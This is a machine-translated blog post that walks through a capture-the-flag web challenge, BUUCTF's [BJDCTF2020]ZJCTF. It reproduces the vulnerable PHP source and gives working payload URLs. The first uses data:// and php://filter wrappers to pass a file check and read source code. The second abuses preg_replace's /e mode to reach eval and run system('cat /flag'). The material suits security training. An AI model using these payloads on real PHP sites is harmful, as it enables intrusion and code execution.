当前位置:网站首页>Buuctf-[bjdctf2020]zjctf, but so (xiaoyute detailed explanation)
Buuctf-[bjdctf2020]zjctf, but so (xiaoyute detailed explanation)
2022-07-06 06:00:00 【Xiaoyute detailed explanation】
buuctf-[BJDCTF2020]ZJCTF, nothing more than this ( Xiaoyute detailed explanation )
Open questions :
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
By analyzing the code ,get Pass in two parameters text and file,text Parameter utilization file_get_contents() The function opens as read-only , After opening, the content should be consistent with "I have a dream" String matches , To execute the following file contains $file Parameters .
See with file_get_contents() Function on text Parameters , And the following files contain functions , Naturally think of php In pseudo protocol data:// For agreement filter Read the agreement next.php Source code
payload:
index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
Here we use base64 decode
Here is preg_replace/e Code execution problem in mode
from https://xz.aliyun.com/t/2557 Learning related issues
I won't go into details here
It's used here \S*=${}
structure payload
next.php?\S*=${
getFlag()}&cmd=system('cat /flag');
边栏推荐
- Station B Liu Erden softmx classifier and MNIST implementation -structure 9
- OSPF configuration command of Huawei equipment
- Commodity price visualization
- ArcGIS application foundation 4 thematic map making
- 如何在业务代码中使用 ThinkPHP5.1 封装的容器内反射方法
- C language bubble sort
- [paper reading] nflowjs: synthetic negative data intensive anomaly detection based on robust learning
- 华为BFD的配置规范
- 公司视频加速播放
- Classes and objects (I) detailed explanation of this pointer
猜你喜欢
[web security] nodejs prototype chain pollution analysis
[SQL Server fast track] - authentication and establishment and management of user accounts
Configuring OSPF GR features for Huawei devices
How to use the container reflection method encapsulated by thinkphp5.1 in business code
- [email protected]树莓派"/>
[email protected]树莓派
假设检验学习笔记
[Jiudu OJ 08] simple search x
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
Classes and objects (I) detailed explanation of this pointer
Node 之 nvm 下载、安装、使用,以及node 、nrm 的相关使用
随机推荐
Leetcode 701 insertion operation in binary search tree -- recursive method and iterative method
请求转发与重定向
C language learning notes (mind map)
Report on the competition status and investment decision recommendations of Guangxi hospital industry in China from 2022 to 2028
Sequoiadb Lake warehouse integrated distributed database, June 2022 issue
Configuring OSPF GR features for Huawei devices
Embedded interview questions (I: process and thread)
A master in the field of software architecture -- Reading Notes of the beauty of Architecture
[email protected]树莓派
B站刘二大人-反向传播
Practice sharing: how to safely and quickly migrate from CentOS to openeuler
公司視頻加速播放
清除浮动的方式
Implementation of linked list in address book management system
Database: ODBC remote access SQL Server2008 in oracel
【课程笔记】编译原理
H3C V7 switch configuration IRF
Usage of test macro of GTEST
Go language -- language constants
Hongliao Technology: Liu qiangdong's "heavy hand"